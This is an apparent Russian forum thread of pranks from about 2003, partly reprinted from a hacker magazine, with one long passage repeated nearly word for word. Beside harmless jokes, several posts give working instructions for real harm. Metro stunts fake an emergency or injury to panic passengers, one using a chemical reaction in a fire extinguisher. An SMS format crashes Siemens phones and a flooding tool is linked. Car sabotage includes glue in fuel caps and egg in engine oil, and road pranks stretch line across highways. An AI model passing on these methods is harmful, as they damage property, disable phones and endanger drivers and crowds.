- Перец со скрытой камерой на позиции.
ГОУ! ГОУ! ГОУ!
Рекламщик начинает раздавать листовки. “Доктор” осматривает “пациента”. Круто будет, если на глазах у о@уевшей публики он залезет к нему в штаны и проверит готовность номер один. В это время из-за шторки выходит чувак в плавках, ластах и маске, предварительно облитый из канистры, платит 50 рублей (купил дополнительный час) и уходит обратно. Затем девчонка в купальнике (если у нее склонность к эксгибиционизму, то купальник круто как следует намочить ;)) и покупает билет на спиральный спуск. Затем - чел в бермудах (тоже мокрый) с бутылкой “Клинского” и т.д.
Если билеты никто не купит, то, во всяком случае, благодарную публику с перекошенными одновременно непониманием, недоверием и улыбками лицами гарантирую.
Кассету - в “Городок”, сумму - по факту.
Сцена Четыре - “Автопилот пьЯн, капитан!”
Вот тут Прозвонкин лазерофон смастерил (Х№4Y2K), а нам-то всего и нужно подсоединить к плееру динамик от пися-скрипера. Справишься? Тады ОК!
Подготовительная фаза: у тебя есть диктофон? Если есть - зер гут! Можешь записать на него лекцию и прокрутить запись лектору на экзамене. Но нам нужно записать шумы метро. Садимся в вагон и пишем стук колес, свист ветра и треск электрических разрядов. Зачем? Прокрути соседу через стоваттный динамик :). Шучу. Бери за мочеточник своего корефана, который умеет клево подражать пьяному голосу, либо напои его и тащи в спальню... (гы!) записывать “базар машиниста”. Включи на центре запись с шумами метро и прочитай с корефаном следующий диалог (только правдоподобно), записывая это на диктофон:
- Ну как вчера отдохнул?
- Все путем! Ну и нажрались же мы!
- Костя, слушай, ты чего шатаешься? Ты что, пьяный что ли?
- Чщуть-чщуть!
- А если узнают?
- Т-с-с-с-с! Не узнают!
- Коля, не гони так! Скоро поворот!
- Т-с-с-с! Не с-с-сы!
Звук падения чего-то аморфного на пол.
- КОЛЯ!!! Ты чего?! КОЛЯ ВСТАВАЙ!!! Я ЖЕ ВОДИТЬ НЕ УМЕЮ!!!
- Ля...ля-ля-ля-ля-ля-ля-а-а! Вертиса быстрей Земля-а-а!..
Возня на полу.
- Граждане пассажиры, без ПАНИКИ-И-И (Лучшее средство вызвать панику - сказать: “Без паники!”)!!!
Взрывоопасная запись есть. Ставь ее в плеер, крепи динамик на запястье (на кожаном ремешке от часов).
Камеру взял? А ну марш назад!
Идем в метро. Теперь прояви максимум актерского таланта. На крутом повороте сделай вид, что рахитные ножки тебя не удержали, и ты врубился в пульт экстренной связи с машинистом, от чего тот включился (не вздумай включать на самом деле!). Незаметно включи “PLAY” на плеере, да погромче, но руку от пульта не убирай. Будет казаться, что звук идет из пульта.
Теперь представь состояние ламерюг-пассажиров, которые слышат “диалог машинистов”. Их лица начнут вытягиваться и бледнеть, глаза перейдут в область лба, волосы примут строго перпендикулярное положение. На следующей станции вагон твой: выбирай любое место. Кассету - куда обычно.
Сцена пЯть - “ОперациЯ Чистые руки”
А я глотнул немного “фанты” и остановил поезд.
Нам нужны руки! Нет, не для того чтобы гонять лысого и не те руки. Нам нужны либо резиновые руки из магазина приколов, либо руки манекена, скомунизженные из ближайшего универмага. На них нужно надеть старые перчатки, и прикрепить к ним в районе ладони небольшие металлические крючки. Дальше нужна “кровь” - красные чернила или искусственная кровь из магазина приколов подойдет.
Надень старую матерчатую куртку, налей “кровь” в воздушные шарики (одолжи у Пятачка) и спрячь в рукава, сверху вставь “руки”.
Взяли камеру и дружбана. Пошли в метро.
Разыгрываем сцену: Возле дверей вагонов есть такие поручни, они-то нам и нужны.
Говоришь дружбану: “Спорим, я смогу на 20 секунд удержать поезд!”
- Ты что, рехнулся?
- Вот смотри!
- ТЫ ЧТО, ДУРАК?!
Ты уже, типа, не слушаешь и прицепляешь “руки” крючками за поручень. Делаешь вид, что изо всех сил упираешься ногами. Дружбан хватает тебя и делает вид, что оттаскивает. Поезд как раз трогается. “Руки” выскакивают из рукавов. “Кровь” льется во все стороны. Ты орешь благим матом: “А-а-а-а!!! Мои руки!!! Больно!!!”, валяешься по полу “от боли”. Дружбан кричит: “Сейчас, сейчас!!! Я помогу!!! Все будет хорошо!!!”, поднимает тебя и уносит.
Занавес.
Дома вместе с оператором смотрите кассету и выбираете рожу сезона.
Сцена шесть - “Ламоглушитель”
Химию еще не полюбил? Зря! Щас полюбишь! Читай:
В детстве мы с пацанами любили смешать в баночке гидропирит и кислый фиксаж. Получалась классная реакция: много пены, шипения и энергии. Банку разносило на куски. Вот именно это нам и нужно. Одолжи побольше гидропирита и фиксажа у своего братана-фотографа. На самоклеющейся бумаге посредством принтера накропай одну из следующих надписей: “Сегодня я покончу с собой.”, “Как ты думаешь, прошел ли я проверку качества”, “Я сделан в Чечне”, “Люблю спецэффекты”.
Вперед в метро!
Садимся на конечной, так чтобы в вагоне никого не было. Клеем нашу наклейку на... ОГНЕТУШИТЕЛЬ, закрепляем его раструб под 45 градусов вверх. Перед самой остановкой засыпаем туда фиксаж и кидаем таблетки гидропирита. Переходим в соседний вагон и наблюдаем оттуда. Реакция рано или поздно пойдет, не сумневайся! И уж если пойдет, то пойдет, мало не покажется! Твоя награда - паника в соседнем вагоне.
Сцена семь - “СтрелоЧник”
Дома вырезаешь из черной самоклеящейся ленты стрелочки, надписи, типа “500 метров” и т.д. Берешь стремянку и идешь в метро. Со стремянками в метро можно. Мало ли куда ты ее везешь, может быть, бабульке на день рождения. Находишь на станции указатели и аккуратно заклеиваешь старую стрелку новой. Например, так: “Электролитная улица 200 метров вверх”.
Ну вот, теперь никто не скажет, что в метро скучно и нечем заняться. Только не попадайся лишний раз “сотрудникам охраны правопорядка”, или, проще говоря, минтонам (я тут крикнул как-то на станции, как в рекламе: “МИИИИНТООООН”, - так этот минтон за мной полчаса с дубинкой гонялся). Удачи тебе в метро.
Источник - журнал "Хакер"
Пагер - брат автоответчика
vadian У нас для такой тематики отдельный топ есть.
Alrt
Сорри. Буду внимательнее.
Небольшая заподлянка- так сказать смс вирус. Действует на Siemens c35,s35,
45-е модели и даже на 50 некоторые.
Посылаем смс с текстом "%English" и при попытке его открыть - труба зависает(особенно 35 модели). С 35-х его вообще не удалишь, можно только с 45-х,50-х стереть. А если таких смс-ок штук 50 послать то это получится небольшой армагедец для трубы....
Alrt
Круто надо будет попробывать.... ))))
есть у меня парочка знакомых владельцев сименсов.... давненько я над ними не издевался (над сименсами)
Ну дык, я один раз попробовал - эффект во!!
Надо будет еще над своим главным инженером прикольнуться у него Siemens S35
Alrt
Классная фишка, я на работе половину отдела накрыл(они все Сименс любят) :))
СТРАННАЯ БАНКА
"Как известно, существуют розыгрыши, которые можно назвать "профессиональными". Возможно, они не всегда понятны окружающим, но доставляют массу веселья понимающим их. Одним из таких розыгрышей я и хочу поделиться. Рассказывают, что в некоторых вузах на вступительных экзаменах по физике некоторые приемные комиссии не прочь некоторым образом по прикалываться над некоторыми абитуриентами. А именно...
На хорошо обогреваемый ласковым летним солнышком подоконник ставится банка с водой. Чрез некоторое время одна сторона банки, естественно, становится теплее другой. С этого момента для шутки почти все готово - необходимо только незаметно повернуть банку на 180 градусов. А дальше... Очередного отвечающего просят, в качестве дополнительного вопроса, определить - с какой стороны банка, стоящая на подоконнике, теплее. Абитуриент (если он не окончательный тормоз), проявляя чудеса интуиции уверенно укажет на сторону, обращенную к Солнцу. После этого ему предлагается подойти к банке и самому убедиться в обратном. Временная потеря речи гарантируется. Но это еще не все (более того, все только начинается!). Другому абитуриенту (желательно, чтобы он был поумнее), который внимательно следил за происходящим, предлагается объяснить этот парадокс. Теперь можно наслаждаться полетом мысли... О, сколько нам открытий чудных готовит просвещенья дух..."
Я читал такую тему:
В одном институте был декан по фамилии Козлов. Он любил над студентами издеваться с помощью этой фишки. И вот, однажды, когда он перевернул банку, заходит студент-хохол, человек весьма непосредственный. Козлов спрашивает его про банку, тот отвечает, декан просит его проверить, затем предлагает объснить этот "феномен". Студент уверенно отвечает: "Да ее какой-то козел перевернул!"
ДВЕРЬЮ В ЛОБ
"Эта шуточка на моих глазах была проделана раз 50 моим начальником и другом
Николаем. И всегда имела успех. А суть в следующем. В учреждениях по
правилам противопожарной безопасности двери всех кабинетов открываются
наружу. Бывает ситуация, когда вы идете по коридору, и вдруг перед вами
открывается дверь - из кабинета кто-то выходит. Николай в этом случае
звонко шлепает ладонью по открывающейся двери и хватается за лоб. Ощущение,
что его долбанули дверью в лоб! Далее следуют охи и ахи "ударившего" в
ответ на стон "жертвы", извинения и т.п. Все зависит от реакции и артистич
еских данных "жертвы". Николай этот трюк проделывал мастерски. ;-)"
Как известно, для вставки в сообщение графической картинки используется такая конструкция: "%IMG_NAME", так вот, если вместо IMG_NAME... Смотрим дальше...
Так вот, если вместо IMG_NAMEвставить 157 любых символов, то при получение абонентом такого сообщения, издав непонятный звук, телефон мгновенно отключится, и после того как вы его включите вновь, зайти в Messages->Inbox вам уже не получится. Проблема возникает из-за переполнения буфера телефона.
Отправлять это сообщение со своего телефона не рекомендуется - как только вы попытаетесь это сделать - телефон выключится. Пока ничего не говорится относительно того, подвержены ли этой проблеме другие телефоны Siemens.
В настоящий момент способы "починки" телефона по получению данного сообщения неизвестны.
Переполнение буфера в Simens серии 45
maskman
Продолжение моего прикола.
РОЗЫГРЫШ ГАДАНИЕ
"Этот розыгрыш мы с успехом применяли на первых курсах Технического Универа. Жертве объявляется, что сейчас ей погадают на судьбу. Берется лист бумаги, на нем пишется в столбик:
ГДС
МДС
НДС
ДДС
ДС
ДПС
НПС
МПС
ГПС
-------------
ДД
ДЛ
ДП
ДЖ
После этого жертве предлагают написать по одной строчке ( напротив каждого сокращения ) из песен - до черты и по одной пословице - после. После того, как человек все это написал, с листа читается с расшифровкой. Например, год до свадьбы: вихри враждебные веют над нами..., месяц до свадьбы: вместе весело шагать по просторам... и т.д., что человек написал. Соответственно, дальше идут неделя, день до свадьбы, день свадьбы, потом все то же самое - после свадьбы. После черты: девиз дружбы, девиз любви, девиз постели, девиз жизни. Довольно часто на девиз постели попадает что-нибудь типа "На бога надейся, а сам не плошай" или "Любишь кататься - люби и саночки возить".
Пару раз чихнуть в переполненном автобусе и внятно пробормотать:
"Чтоб я еще раз когда-нибудь поехал в Китай..."
ArchiMage
22.05.2003, 00:29
Nymph
представил себе ету сетуацию, жестоко... нечего сказать :)))))))
helldomain
02.06.2003, 02:17
Nu i zapodlisti wi towarischi...
helldomain
))))) Есть у кого учится....
В Америке у выпускников школы принято на прощание, перед выпуском, устраивать розыгрыш, чтобы выпускников надолго запомнили. В школе, где учится моя сестра, самый легендарный был такой: в школу запустили трех свиней с нарисованными номерами 1, 2 и 4. Несколько дней администрация искала свинью номер 3.
helldomain
02.06.2003, 03:56
Giiiiiiiii. Mask, eto prosto prelest. Napominaet mne odin anekdot. Giiii. Sestra ne w tebya sluchaem poshla?
helldomain Sestra ne w tebya sluchaem poshla? Чья сестра у меня только брат. ))))
helldomain
02.06.2003, 05:28
Who iz nas ohrenel?
Как писал maskman
helldomain
))))) Есть у кого учится....
В Америке у выпускников школы принято на прощание, перед выпуском, устраивать розыгрыш, чтобы выпускников надолго запомнили. В школе, где учится моя сестра, самый легендарный был такой: в школу запустили трех свиней с нарисованными номерами 1, 2 и 4. Несколько дней администрация искала свинью номер 3.
helldomain
Оба наверное. )))
helldomain
02.06.2003, 14:39
Gi. Simpatichnaya ideya ;-))).
А ГДЕ ДВЕРЬ?
Если дверь открывается вовнутрь, а не наружу, то весьма рекомендуется ночью (вечером/утром) наклеить на ее косяк газеты в натяжку. Человек, открывший дверь, просто офигевает (если успевает затормозить) :)))
Мы умудрялись в общежитии проводить это вторично над тем же самым человеком (комнатой). Разыгрываемый, уже зная хохму с газетами, просто пытался прорвать плечом или головой (что редкость). Но ничего не выходило. Просто за газетами еще и шкаф оказывался :)
helldomain
06.06.2003, 04:18
Gi.
самый большой прикол это SMS Attacker (не требует инсталяции) ДЛЯ ПОДВЕШИВАНИЯ ТЕЛЕФОНА -- для нокии и сиеменса !!! отправляешь смс и телефон виснит .... на последних телефонах нокиа работает .... прога через icq работает , в ней уин и пасс ввести надо .... отправляет от 1 до 40 смс (за 4 секунды)... удалять их с телефона будешь долго ... пока не откроешь не удалишь, а откроешь телефон виснит ... кулл !!!
прога:
http://ewj3d.nm.ru/soft/sms/smsattacker.zip
Новое западло
ТУТ (http://www.imho.ws/showthread.php?s=&threadid=31636)
BioSWolf
02.08.2003, 18:24
По моему этого еще не было:
Как правильно организовать летний отдых, или комплексное западлостроение в сельской местности
Отдых на даче имеет ряд достоинств в плане возможностей западлостроения.
Перечислю лишь некоторые из них:
- обилие одушевленных и неодушевленных объектов для западлостроения;
- объекты одушевленные разобщены и расслаблены, не ждут нападения;
- масса единомышленников, практиков и теоретиков, которые маются без дела на природе;
- отсутствие участковых милиционеров как класса на расстоянии прямого выстрела.
- наличие огромного количества разнокалиберных вредных старушек. :))
Пора на даЧу, собирай манатки
А вот и лето пришло. Что это значит? Это значит, что пора собираться и отчаливать на дачу. Молодые и зеленые западлостроители выезжают на природу на целое лето, а матерые да бывалые довольствуются быстро пролетающими выходными, по этой причине отдых получается коротким, но регулярным и емким. Чтобы отдых был еще и веселым и запоминающимся, нужно знать, как правильно, грамотно отдохнуть на даче и при этом не попасть впросак.
Отдых на даче имеет ряд достоинств в плане возможностей западлостроения. Перечислю лишь некоторые из них:
- обилие одушевленных и неодушевленных объектов для западлостроения;
- объекты одушевленные разобщены и расслаблены, не ждут нападения;
- масса единомышленников, практиков и теоретиков, которые маются без дела на природе;
- отсутствие участковых милиционеров как класса на расстоянии прямого выстрела.
- наличие огромного количества разнокалиберных вредных старушек; :))
- и еще множество других причин, которые не позволят заскучать начинающему или уже заматеревшему западлостроителю.
Сидел я дома, размышлял на эту тему, как вдруг звонит приятель, Серега, и начинает между делом жаловаться на своего дачного соседа, некоего дядю Пашу, который совсем зарвался, не дает отдыхать и, вообще, ведет себя негуманно по отношению к прогрессивно настроенной молодежи, а главное, постоянно ходит в гости и читает пространные нотации. Через 15 минут был готов предварительный план действий, и приятель занялся вербовкой непосредственных исполнителей среди наших общих друзей и знакомых.
В процессе
Разминаться мы начали еще в городе, дружно наблюдая за тем, как друзья и соратники упаковывают свои рюкзаки и сумки. Кстати: ты, когда будешь собираться куда-нть с приятелем, ни в коем случае не оставляй без внимания его багаж, он ведь так и норовит «откосить» от занятий спортом на отдыхе, так что не забудь вложить в его сумочку любимые гантели. Он будет неожиданно обрадован, обнаружив в рюкзаке, который пер, обливаясь потом, 20 километров по лесу, свои гантельки или гирьку килограммов на 16 :)). Сюрприз!
Прибыв на дачу в уже приподнятом настроении, не спеши открывать пиво и отложи в сторону грабли. Как настоящий западлостроитель, первым делом ты обязан произвести рекогносцировку местности, уточнить ситуацию с соседями, наметить сочувствующих и враждебно настроенных. По желанию можно отметить на карте или глобусе наиболее выгодные объекты диверсий. Для серьезного времяпрепровождения нужно посетить самые интересные из таких объектов лично, уточнить подходы и пути мгновенного отступления, ознакомиться с уровнем бдительности соседей. Вот что произошло в нашем отдельно взятом случае...
Отдых на даче имеет ряд достоинств в плане возможностей западлостроения.
Перечислю лишь некоторые из них:
- обилие одушевленных и неодушевленных объектов для западлостроения;
- объекты одушевленные разобщены и расслаблены, не ждут нападения;
- масса единомышленников, практиков и теоретиков, которые маются без дела на природе;
- отсутствие участковых милиционеров как класса на расстоянии прямого выстрела.
- наличие огромного количества разнокалиберных вредных старушек. :))
Пора на даЧу, собирай манатки
А вот и лето пришло. Что это значит? Это значит, что пора собираться и отчаливать на дачу. Молодые и зеленые западлостроители выезжают на природу на целое лето, а матерые да бывалые довольствуются быстро пролетающими выходными, по этой причине отдых получается коротким, но регулярным и емким. Чтобы отдых был еще и веселым и запоминающимся, нужно знать, как правильно, грамотно отдохнуть на даче и при этом не попасть впросак.
Отдых на даче имеет ряд достоинств в плане возможностей западлостроения. Перечислю лишь некоторые из них:
- обилие одушевленных и неодушевленных объектов для западлостроения;
- объекты одушевленные разобщены и расслаблены, не ждут нападения;
- масса единомышленников, практиков и теоретиков, которые маются без дела на природе;
- отсутствие участковых милиционеров как класса на расстоянии прямого выстрела.
- наличие огромного количества разнокалиберных вредных старушек; :))
- и еще множество других причин, которые не позволят заскучать начинающему или уже заматеревшему западлостроителю.
Сидел я дома, размышлял на эту тему, как вдруг звонит приятель, Серега, и начинает между делом жаловаться на своего дачного соседа, некоего дядю Пашу, который совсем зарвался, не дает отдыхать и, вообще, ведет себя негуманно по отношению к прогрессивно настроенной молодежи, а главное, постоянно ходит в гости и читает пространные нотации. Через 15 минут был готов предварительный план действий, и приятель занялся вербовкой непосредственных исполнителей среди наших общих друзей и знакомых.
В процессе
Разминаться мы начали еще в городе, дружно наблюдая за тем, как друзья и соратники упаковывают свои рюкзаки и сумки. Кстати: ты, когда будешь собираться куда-нть с приятелем, ни в коем случае не оставляй без внимания его багаж, он ведь так и норовит «откосить» от занятий спортом на отдыхе, так что не забудь вложить в его сумочку любимые гантели. Он будет неожиданно обрадован, обнаружив в рюкзаке, который пер, обливаясь потом, 20 километров по лесу, свои гантельки или гирьку килограммов на 16 :)). Сюрприз!
Прибыв на дачу в уже приподнятом настроении, не спеши открывать пиво и отложи в сторону грабли. Как настоящий западлостроитель, первым делом ты обязан произвести рекогносцировку местности, уточнить ситуацию с соседями, наметить сочувствующих и враждебно настроенных. По желанию можно отметить на карте или глобусе наиболее выгодные объекты диверсий. Для серьезного времяпрепровождения нужно посетить самые интересные из таких объектов лично, уточнить подходы и пути мгновенного отступлен
helldomain
04.08.2003, 04:05
Daa, doka kulnaja ;-))). Lowi golos.
читал-читал, так парочка самому вспомнилась... в школу с математичско-физическим уклоном ходил, так что соответстенно...
1
Со дна колодца можно увидеть звёзды даже днём (сам не видел но читал, хехе). Розыгрыш на ету тему - новичку предлагается наити звезду в небе, вместо колодца исползуя рукав плотного свитера или чегото подобного. короче одевают на него свитер, рукав направляют вертикально вверх и говорят што там должна быть звезда, надо только приглядется и глаза должны чутьчуть привыкнуть... в етот момент в рукав сверху заливайется стакан ледяной воды (можно и больше, но стакана уже достаточно для вглядываюшегося в небеса бедолаги)...
2
в дне пластиковои бутылки (от колы итп) делается маленкое отверстие, с учотом чтобы вода вытекала достаточно легко если крышка не накручена и не текла вообше если крышка накручена. далее бутылка наполняйется водой температуры тела или чуть теплее и незадачливои жертве предлагается продемонстрировать свои акробатические способности - бутылка ставится в левыи карман штанов и правой рукой изза спины жертву просят открутит крышку... по болшому счёту открутит - несложно, так што все радостно с етим справляются, но потом штаны мокрые в самом подходяшем месте... особенно классныи еффект с девушками в обтягиваюших джинсах... хорошо также проводит перед торжественным вручением премий али дипломов итп перед всем коллективом...
сорри за ошибочки, ешо не совсем освоился с транслитом...
helldomain
15.08.2003, 22:48
Gi.
Dopeless
04.09.2003, 22:00
Сорри если было, все не перечитал, но все-таки
Приколы например для общаги, прикольно ночью "нападать" этаж на этаж
1. Самое элементарное. Перекрывается вода во всех умывальниках. Желательно оставить нетронутым например душ. Особенно девченки, а то и нерасчехлившиеся пацаны будут умываться в душевой.
2. На толчек (под седушку) натягивается прозрачная упаковачная пленка. Человека справляющего спросони нужду ждет незабываемый эффект.
3. На кухне с плиты и шкафчиков снимаются все ручки и прячутся например в морозилку.
4. если на столе есть скатерть или непрозрачная клиенка, стол переворачивается ножками кверху. Скатерть приделывается к ножкам например кнопками. Сверху ставятся легкие предметы типа солонок и салфеток. Тот кто первый поставит на стол завтрак тоже не сразу поймет, что произошло.
5. Если двери в комнату открывается вовнутрь, то под дверь ставится ведро с водой и привязывается к ручке. (когда мы это делали, девченка, которой мы привязали ведро спала дольше всех, и весь этаж минут 10 стоял под ее дверью в ожидании. Вместо "доброе утро" мы услышали многозначущее "б*яяя")
6. С холодильника все продукты временно переносятся на свой этаж, а сам холодильник обматывается скотчем и разворачивается дверцей к стенке. Как же рад народ, который минут 10 разматывал скотч и таскал холодильник по кухне, обнаружив, что в нем все-равно продуктов нету.
7. Про обмазывание всех дверных ручек шоколадом и подобные мелкие пакости распинаться не стану... и так все знают:)
Dopeless
Хорошо повеселились.... Пять балов...))))
"Суть в следующем. Как известно, порядочные свадьбы играют как минимум
два дня. Вот здесь-то я и делаю свой прикол. В первый день, после того
как гости подпили, и начинаются всякие там розыгрыши и соревнования с
гостями, другом и дружкой, я предлагаю поучаствовать жениху и невесте.
Сажаю их на стулья друг напротив друга, жениху завязываю глаза и даю в
руки толстую иглу и нитку. Невесту прошу помочь жениху устными
указаниями вдеть нитку в иголку, называя все это тестом на
взаимопонимание. При этом всю процедуру снимаю на видео,
предварительно попросив гостей соблюдать по возможности полную тишину,
дескать не мешайте молодым. Самая хохма начинается на следующий день.
С гостей собрали на шило и мыло, они уже похмелились и все в хорошем
настроении. И тут я объявляю в микрофон, но так, чтобы меня не видели:
"Внимание! Предлагаем радиорепортаж о первой ночи новобрачных!", - а
затем запускаю фонограмму вчерашней видеосъемки!!!! :-))))
Представляете, голосом невесты:
"Выше! Нет мимо! Давай сначала! Ниже-ниже! Опять промазал!"
Комментарии как, говорится, излишни".
maskman
Как всегда 5+
Скоро у приятеля свадьба намечается. Надо будет попробовать. :biggrin:
"Действительно имело место в Киеве в конце семидесятых годов. Мой
товарищ стоял на центральной улице Крещатик и, размахивая руками, крич
ал: "Правее, а теперь левее, подними правую сторону", - и так далее.
Создавалось впечатление, что на здание вешают очередной лозунг,
большинство людей проходили, не обращая внимания, но появились и
зеваки, они переводили взгляд с товарища на невидимый плакат, не
понимая в чем дело. Когда собралось человек 7-8, товарищ громко
крикнул: "А теперь бросай", - и сам отскочил в сторону, отпрыгнула и
эта семерка, а дальше началась цепная реакция..."
18 способов нагадить автолюбителю
Прежде чем мы с тобой начнем дебоширить, стоит решить, чего потенциально делать не надо:
Не надо отламывать всякие детали (спойлеры и прочие бамперы) и бить оптику - кроме дикой злобы и милицейского наезда во двор ничего не будет.
Не надо пихать в замочные скважины спички - это пошло и пахнет деревней.
Есть способ лучше!
Не надо снимать дворники - если попадешься, то тебя еще и в нелепом воровстве обвинят.
Не надо прокалывать шины - зло, неоригинально, и, кроме того, неизвестно, когда теперь этот хрен сможет убрать свою машину из-под окон.
Не надо расписывать автомобиль баллончиком или маркером - если хочешь написать где-нибудь слово из трех букв, сделай это у себя на лбу.
А что же можно делать? - спросишь ты... Хе-хе! Наблюдай! Прислушивайся и впитывай!!!!!
Способ нулевой
Нулевой - значит простейший, наибанальнейший, но - действенный. Тебе не нравится машина соседа под окном? Продай ее! И неважно вовсе, что эта развалюха тебе не принадлежит. Главное - знать телефон владельца тачки и хотя бы марку машины (цвет ты, я думаю, разглядишь без моей помощи). Берешь купон "Из рук в руки" или любой другой похожей газеты и заполняешь. Например: "продам автомобиль ВАЗ-2106, цвета "бежевый удав", в отличном состоянии, цена 150$". И вписываешь телефон соседа для ответа. Относишь купон на почту - и можешь не сомневаться, уже через неделю после выхода газеты твой сосед будет на седьмом небе от счастья.
Способ первый
Предположим, сосед на своем кандибобере постоянно приезжает к тебе во двор в три часа ночи с орущей музыкой типа "Ноги Вниз!" и, громко бибикая, паркуется, поднимая на ноги весь подъезд. На таких перцев очень хорошо действует следующий простой рецепт. Покупается десятка три маленьких дешевых петард, и затем они последовательно запихиваются соседу в глушитель (желательно какой-нибудь палочкой пропихнуть их в резонатор - иначе их выбьет выхлопом, и только-то). Машина заводится, стартует, температура в глушаке постепенно растет... Эффект (особенно в отечественных автомобилях) - громоподобный.
З.Ы. ВНИМАНИЕ!!! Глушак может и разорвать, и тогда, если узнают, что это ты - порвут как грелку. Способ экстремальный и подходит только как "в крайнем случае".
Способы второй, третий, четвертый и пятый - взаимосвязанные
Покупается некоторое (в зависимости от целей) количество суперклея - с его помощью можно много полезного с соседским автомобилем сделать. Здесь только четыре варианта, остальное додумай сам.
Суперклей вливается в максимально возможных объемах в замочные скважины автомобиля - владелец долго пытается понять, почему его ключ больше не подходит.
Суперклеем приклеиваются дворники (без комментариев).
Счастливому обладателю спойлера на этот самый спойлер суперклеем приклеиваются: одноразовый стаканчик, тарелка, вилка и нож. В стаканчик наливается пиво, на тарелку кладется арбуз. Красиво и эстетично.
АХТУНГ! Последний способ из сей категории годится для отечественных авто, у которых крышка горловины топливного бака не закрывается на ключ. Скручиваем крышку, намазываем резьбу суперклеем. Закручиваем крышку обратно. Все, приехали.
Способы с яйцами - шестой, седьмой и восьмой
Про яйца я тебе могу рассказать много. Например, вот что: вычитал однажды в журнале "Столица" - был такой рулезный принт когда-то - вот такой вот зимний заподлянский способ. В тридцатиградусный мороз берется яйцо (можно тухлое) и кидается на крышу автомобиля. Там разбивается, примерзает, естественно, а весной сходит только вместе с краской. Прощай, стало быть, крыша.
Если крышу жалко, то можно погадить в салоне авто. Яйцо (только свежее!) втягивается в обычный медицинский шприц и в салоне машины вгоняется под обивку сидений. Оно стухнет где-то через три-четыре дня, и придется либо продавать машину, либо, как минимум, менять салон. По крайней мере, ездить в этой машине будет критически невозможно.
Ну и последний метод с яйцом - для счастливчиков, заимевших доступ к двигателю. На крышке мотора откручиваешь горловину, в которую масло заливают, и выливаешь туда яйцо (без скорлупы). Двигатель заводится и работает нормально где-то полчаса, после этого с вероятностью 70% клинит. Диагноз в любом автосервисе - "эээ... да у вас тут это... масло минеральное... давно меняли-то?.. ну вот, оно у вас свернулось... надо мотор другой покупать...". Опять же, последний способ "крайний", т.к. это уже не шуточки, а реально крупное западло.
Способы девятый и десятый - для художественно одаренных
Итак: для начала берется вазелин - сия нежная субстанция, по слухам, - любимица секс-меньшинств, но сейчас это неважно. Берется вазелин, и им густо намазываются дверные ручки водителя и возможных пассажиров. Способ, в сущности, безобидный, но зато, по слухам, весьма громкий (жертва орет так, что хоть святых выноси). Вазелин ничего не испортит, но и так вот запросто не отмоется.
А следующий художественный способ тоже весьма простой - берем гуашь и черным цветом малюем по этим же самым дверным ручкам. Это называется "руки трубочиста". Отмывается гуашь отвратительно. Ею же, кстати, приятно намазать дворники (можно красным цветом - выглядит как сбитая бабушка) или просто капот (слово из трех букв не предлагать).
Способ одиннадцатый
Нужна канистра старого масла (может оказаться в ближайшем автосервисе). Берем ее, и втихаря выливаем содержимое под морду соседского автомобиля. Обеспечены полчаса пантомимы "Як-истребитель", в которой сосед будет искать под авто источник утечки масла (страшно же движок завести - а вдруг стуканет, без масла-то).
Способы двенадцатый и тринадцатый - мелкопакостные
Берем моток толстой рыболовной лески и приматываем как можно большим количеством оборотов бампер автомобиля жертвы к бамперу рядом стоящего автомобиля. Сматываем две тачки леской, короче. Если хоть один из бамперов не оторвется, то, по крайней мере, леска громко хлопнет.
Для другого способа нужна плоская отвертка. Скручиваем номера у двух соседних машин (только по одному номеру с каждой, иначе смысл прикола пропадает) и меняем местами. Вот прикольно, когда у машины передний номер 50рус, а задний - 99рус! Ты тоже так думаешь? Во-во, и гаишники (их бин ГИБДДшники) тоже так думают.
Способы четырнадцатый и пятнадцатый, а также шестнадцатый - дачно-деревенские и, в общем-то, беззлобные
Ночью на даче, как известно, делать нечего. Причем настолько нечего, что люди идут на разные извратные развлечения.
Вот, например: нарезаются крупные ветки придорожных кустов. Из них, с помощью огрызков веревки, делаются подобия снопов - получаются, грубо говоря, такие смотанные пачки веток, которые сами могут стоять вертикально. Полученные снопы выставляются на середину дороги и... Остается только ждать. Как правило, в свете ночных фар снопы выглядят чуть ли не лесом, который растет прямо посередине шоссе. Отличный способ заставить водителей НЕ СПАТЬ!
Еще приятная фича: берется капроновая нитка, натирается воском, натягивается поперек шоссе. В дальнем свете выглядит как толстенный трос.
Паника в рядах водил гарантируется.
Последняя дачная фишка называется "ракета", или "огненный вихрь". Делается так: посреди шоссе об асфальт обстукивается тлеющая головешка только что из костра. Асфальт, таким образом, покрывается темными угольками, похожими на камушки, которые вспыхивают и кружатся в потоке воздуха от проезжающего авто. Выглядит - просто супер.
Способы семнадцатый и восемнадцатый - самые дерьмовые
Положи соседу дерьма на дворник лобового стекла и размажь. Ну что может быть проще и приятней?
А последний способ - он даже не способ западлостроения, в общем, а случай просто. Но зато из жизни.
Приезжает в один хороший московский сервис мужик на "FORD-Probe" с барахлящей коробкой-автоматом. Вот, говорит, мужики, гляньте что к чему. Ну, а в такой ситуации коробку разбирать ведь надо, просто так диагноз не поставишь. Короче, всем сервисом день потратили на разбор коробки. Нашли поломку. Объявляют владельцу машины: сломано то-то и то-то, ремонт стоит столько-то. Тот как взбеленится - нет, говорит, хрен вам денег, не дам, собирайте мне обратно, как было, и за консультацию денег тоже не получите. Ну в сервисе подумали-подумали, решили не скандалить и... собрали коробку обратно еще за день. Но вот когда собирали, засунули в нее приличный шмот... да-да-да, приличный шмот дерьма. Садится мужик в свой "Форд", едет - все нормаль. Но когда коробка нагревается - жуткий запах идет по салону, как будто кто-то... Ну, ты понимаешь. Мужик то на ботинки посмотрит (может, вляпался?), то дверь откроет (колесом наехал?) - ан без толку. А запах идет и идет. Так вот через неделю и продал свой дерьмовый, в прямом смысле этого слова, "форд" - видеть его уже не мог. А все что? Жадность, ясно дело, виновата!
НО! Не все так просто
Ну, вот и все западлянки с автомашинами, которые я смог припомнить. Твори, как говорится, выдумывай, пробуй. Но в то же время знай меру и не попадайся добрым авто владельцам. Гадить просто так - занятие для ублюдков. А вот отомстить придурку - это наш метод. Так что не делай гадости нормальным людям. Удачи.
maxximik
24.11.2003, 17:46
Было похожее, но это уже от меня (наверное топиком не ошибся), но поймите ведь давят иногда начальники.Приходится так бороться:))
Есть такой маленький диктантик:
"Сзади нас рать, спереди нас рать, и битвою Мать-родина спасена."
Теперь суть: живу я в Латвии, поэтому большое кол-во людей хорошо говорит по русски, но пишет с дИкими ошибками. Надиктовал коллеге и паре знакомых, можете представить, что они там понаписали :) Обиженных не было, нвстроение поднято :)
Meitrik
Прикольно :yees:
Попробовал на работе - 4-ро из 5 попались!
joker99
добавлю от себя очень простых еще два способа:
